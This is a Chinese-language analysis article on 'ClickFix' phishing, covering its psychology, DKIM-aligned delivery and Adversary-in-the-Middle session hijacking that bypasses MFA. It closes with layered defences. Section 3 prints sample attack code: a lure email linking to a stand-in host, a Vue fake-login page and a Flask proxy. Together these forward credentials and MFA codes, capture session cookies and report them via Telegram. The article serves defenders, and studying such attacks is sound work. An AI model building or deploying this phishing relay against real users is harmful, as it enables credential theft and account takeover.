摘要
2025年以来,一种名为“ClickFix”的新型钓鱼攻击策略在针对金融、法律及医疗行业的定向攻击中迅速蔓延。该策略摒弃传统“账户异常”或“密码过期”等警示性话术,转而利用用户对系统维护任务的积极心理预期,通过伪造“一键修复”“配额清理”“合规扫描修补”等操作按钮,诱导用户在无警觉状态下主动提交身份凭证。技术层面,“ClickFix”邮件常结合被入侵的真实域名实现DKIM对齐投递、动态嵌入品牌Logo图像,并采用Base64编码规避初步内容检测。用户点击后即被重定向至Adversary-in-the-Middle(AitM)网关,在完成完整身份验证流程的同时,其会话Cookie被实时捕获,从而绕过多因素认证(MFA)。部分高级变种还引入地理封锁与浏览器指纹识别机制,以规避自动化沙箱分析。本文系统剖析“ClickFix”的社会工程逻辑、技术实现路径与攻击链闭环,并结合实际代码示例展示其前端诱导与后端中继机制。在此基础上,提出五项协同防御策略:将修复类操作内置于企业门户、部署基于TLS指纹与IP声誉的反向代理会话绑定、强化邮件安全引擎对动作语义与SVG按钮的解析能力、开展基于真实场景的用户演练、以及对高价值账户强制实施硬件密钥与条件访问策略。研究表明,仅依赖用户警惕性或传统邮件过滤已不足以应对此类高度情境化的钓鱼攻击,必须构建融合身份、网络、终端与行为的纵深防御体系。
关键词:ClickFix;钓鱼攻击;社会工程;AitM;会话劫持;DKIM对齐;条件访问;TLS指纹绑定

1 引言
多因素认证(MFA)的普及显著提升了账户安全基线,迫使攻击者从单纯窃取静态凭据转向更复杂的交互式攻击模式。近年来,Adversary-in-the-Middle(AitM)架构成为绕过MFA的主流技术路径,其核心在于实时代理用户与合法服务之间的全部通信,从而截获有效的会话令牌。然而,技术手段的成功往往依赖于高效的社会工程策略。2025年上半年,安全社区观察到一类新型钓鱼活动——“ClickFix”——其独特之处不在于底层技术的革新,而在于对用户心理预期的精准操控。
与传统钓鱼邮件强调“风险”“异常”“紧急”等负面刺激不同,“ClickFix”构建了一种“问题已被识别,只需您确认修复”的正向任务情境。用户在此情境下,倾向于将点击行为视为一种主动维护系统健康的职责履行,而非被动响应安全威胁。这种认知偏差极大削弱了其对钓鱼信号的敏感度。例如,一封来自看似合法的IT部门的邮件提示“您的邮箱存储已达98%,请点击下方‘立即清理’以释放空间”,其诱导效果远高于“您的账户存在可疑登录”。
本文以“ClickFix”钓鱼攻击为研究对象,旨在揭示其如何通过语言模式设计、视觉元素伪造与技术隐蔽手段的协同作用,实现高转化率的凭证窃取。全文首先解析其社会工程逻辑与典型攻击场景;其次深入技术实现,包括邮件构造、AitM网关运作及反分析机制;随后通过代码示例还原攻击关键环节;进而分析其目标行业选择与危害特征;最后提出一套覆盖预防、检测、响应与教育的综合防御框架。本研究的意义在于,为安全从业者提供对新型情境化钓鱼攻击的深度理解,并推动防御策略从“规则匹配”向“意图识别”演进。

2 “ClickFix”的社会工程逻辑与攻击场景
“ClickFix”的成功根植于对人类决策心理的深刻利用,主要体现为损失规避(Loss Aversion)与任务完成驱动(Task Completion Drive)的双重效应。
2.1 心理机制分析
损失规避:用户被告知若不执行“修复”操作,将面临具体损失,如“邮箱无法接收新邮件”“合规审计失败导致罚款”。根据前景理论,人们对损失的厌恶远大于对同等收益的渴望,因此更倾向于采取行动避免负面结果。
任务完成驱动:邮件将点击行为包装为一个简单、明确且有益的“任务”。用户在完成该任务时获得一种掌控感和效率感,这种正向反馈掩盖了潜在的安全风险。尤其在工作环境中,员工有强烈动机响应来自“IT支持”或“安全中心”的指令。

2.2 典型攻击场景
邮箱配额清理:“您的Microsoft 365邮箱已使用97%容量。为确保邮件收发正常,请立即点击‘清理临时文件’。”
安全合规修补:“系统检测到您的设备缺少关键安全补丁。请授权‘一键合规扫描’以满足公司政策要求。”
支付接口维护:“您的Stripe商户账户需更新API证书。点击‘立即修复’以避免交易中断。”
这些场景均选取自目标行业(金融、法律、医护)的核心业务痛点,使得邮件内容具有高度可信度。攻击者甚至能根据受害者职位定制话术,如向财务人员强调“支付中断”,向法务人员强调“合规风险”。

3 技术实现与攻击链解析
“ClickFix”的技术栈围绕“高可信度投递”与“无缝会话劫持”两大目标构建。
3.1 高可信度邮件投递
为绕过现代邮件安全网关(SEG)的检测,“ClickFix”邮件采用多重混淆与伪装技术:
DKIM对齐投递:攻击者通过入侵企业内部邮箱账户或第三方营销平台(如Mailchimp),直接从受害组织的真实域名发送邮件。这使得SPF、DKIM、DMARC三项邮件认证均能通过,极大提升邮件可信度。
动态品牌元素嵌入:邮件中的Logo并非外链图片,而是通过Base64编码直接内嵌于HTML中。这既避免了因外链请求触发沙箱警报,又能动态生成与收件人公司匹配的品牌标识。
<!-- 邮件HTML片段示例 -->
<div class="brand-header">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA..." alt="Company Logo">
</div>
<p>您的邮箱存储已达98%。为避免服务中断,请立即清理。</p>
<a href="https://fake-fix[.]com/clean?user=alice@corp.com"
style="background:#0078d4;color:white;padding:10px;border-radius:4px;text-decoration:none;">
立即清理
</a>
SVG按钮伪装:部分高级样本使用SVG元素绘制“按钮”,使其在视觉上与真实UI组件无异,同时规避基于<button>或<input type="submit">标签的简单规则检测。
3.2 AitM网关与会话劫持
用户点击链接后,被导向一个由React/Vue构建的高保真钓鱼页面。该页面完全复刻目标服务(如Office 365、Okta)的登录流程。
// FakeLogin.vue (简化版)
methods: {
async handleLogin(credentials) {
// 将凭据转发至真实服务
const proxyResp = await this.$http.post('/api/proxy/login', {
target: 'https://login.microsoftonline.com',
credentials: credentials
});
if (proxyResp.data.mfa_required) {
this.showMfaForm(proxyResp.data.mfa_type);
} else {
// 处理无MFA情况(罕见)
this.captureSession(proxyResp.headers['set-cookie']);
}
},
async handleMfa(code) {
// 将MFA代码转发
const finalResp = await this.$http.post('/api/proxy/mfa', { code });
if (finalResp.status === 200) {
// 成功!捕获会话Cookie
const sessionCookie = finalResp.headers['set-cookie'];
this.$store.dispatch('reportSuccess', { email: this.email, cookie: sessionCookie });
// 重定向至真实门户,制造“修复成功”假象
window.location.href = 'https://outlook.office365.com';
}
}
}
后端AitM代理负责与真实服务交互,并在收到有效会话Cookie后,将其存储并通知攻击者。
# AitM Proxy Backend (Flask)
@app.route('/api/proxy/login', methods=['POST'])
def proxy_login():
data = request.json
# 使用requests模拟用户请求
resp = requests.post(data['target'] + '/common/oauth2/v2.0/token',
data=data['credentials'],
headers={'User-Agent': request.headers.get('User-Agent')})
if "access_token" in resp.text:
# 登录成功,提取Cookie/Token
session_data = extract_session(resp)
db.save_victim_session(request.args.get('user'), session_data)
notify_via_telegram(session_data)
return jsonify({"status": "success", "session": session_data})
elif "mfa_required" in resp.text:
return jsonify({"mfa_required": True, "mfa_type": "sms"}), 202
else:
return jsonify({"error": "Invalid"}), 401
3.3 反分析机制
为逃避自动化分析,“ClickFix”网关常集成以下检查:
地理封锁:仅允许来自特定国家(如受害者所在国)的IP访问。
浏览器指纹检查:通过JavaScript检测navigator.webdriver、screen.colorDepth等属性,若发现沙箱特征(如Headless Chrome),则返回空白页面或重定向至良性站点。
4 目标行业特征与危害评估
“ClickFix”高度聚焦于三类行业:
金融:目标为拥有支付接口、客户资产信息的后台账户。
法律:目标为存储大量敏感客户文档与通信记录的邮箱。
医护:目标为包含患者个人健康信息(PHI)的电子病历系统。
这些系统的共同点是:1)拥有高价值PII数据;2)账户通常具备API访问权限;3)用户对“合规”“维护”类指令高度服从。一旦账户被接管,攻击者可:
导出全部联系人与邮件,用于二次钓鱼。
创建邮件转发规则,长期窃听通信。
利用OAuth授权,将恶意应用绑定到账户,实现持久化访问。
5 综合防御对策体系
针对“ClickFix”的多维特性,单一防御措施效果有限。需构建以下协同防御体系:
5.1 操作流程重构
策略:将所有“修复”“清理”“扫描”等主动维护操作移至企业内部门户(如SSO仪表盘)触发,严禁通过外部邮件发起。用户应被训练为:任何要求点击外部链接执行系统操作的邮件均为可疑。
5.2 会话安全强化
策略:部署反向代理(如Cloudflare Access、Azure AD Application Proxy),实施会话绑定。会话令牌的有效性不仅取决于其本身,还需与初始建立会话时的客户端TLS指纹(JA3S)及IP地址声誉绑定。即使攻击者窃得Cookie,在不同环境重放也将失败。
# Nginx伪配置示例:基于JA3S绑定会话
map $ssl_client_fingerprint $valid_session {
default "";
"JA3S_HASH_OF_ORIGINAL_CLIENT" "true";
}
location /protected {
if ($valid_session != "true") {
return 403;
}
proxy_pass https://backend;
}
5.3 邮件安全引擎升级
策略:增强邮件内容分析引擎,使其能:
识别“动作词+修复提示”的语言模式(如“点击修复”“立即清理”“授权扫描”)。
解析SVG元素,检测伪装成按钮的图形对象。
对Base64内嵌图像进行OCR与品牌比对,识别伪造Logo。
5.4 用户安全意识教育革新
策略:摒弃传统的“不要点击可疑链接”说教,转而开展基于真实“ClickFix”样本的情景化演练。让员工在受控环境中体验完整的欺骗流程,亲身体验“任务完成感”如何掩盖风险,从而建立更深层的防御直觉。
5.5 高价值账户特殊保护
策略:对财务、高管、IT管理员等高价值账户,强制实施:
FIDO2硬件安全密钥:提供最高级别的抗钓鱼保障。
条件访问策略(Conditional Access):限制登录仅允许从公司网络或已注册设备发起,并对非常规地点/时间的访问强制审批。
此外,一旦怀疑账户泄露,应立即执行:
全局会话失效(Sign out everywhere)。
审计过去48小时内的OAuth应用授权与邮箱转发/规则变更记录。
6 结论
“ClickFix”钓鱼攻击代表了社会工程与技术实现深度融合的新范式。它不再试图突破用户的心理防线,而是巧妙地重构用户的心理预期,将攻击行为包装成一项有益的日常任务。这种“正向诱导”策略显著降低了用户的防御阈值,使得即使启用了MFA的账户也面临会话劫持风险。
本文通过对其攻击逻辑、技术细节与行业影响的系统分析,论证了传统边界防御与静态规则检测的局限性。有效的防御必须是主动的、情境感知的和多层次的。一方面,通过流程设计消除外部邮件触发关键操作的可能性;另一方面,通过会话绑定、行为分析和硬件认证等技术手段,确保即使凭据泄露,攻击者也无法有效利用。最终,安全防御的成功不仅取决于技术的先进性,更取决于对攻击者如何利用人性弱点的深刻理解与针对性反制。未来的研究可进一步探索基于自然语言处理的邮件意图识别模型,以及跨会话行为的异常关联分析,以应对不断演化的钓鱼威胁。
编辑:芦笛(公共互联网反网络钓鱼工作组)
2275

被折叠的 条评论
为什么被折叠?



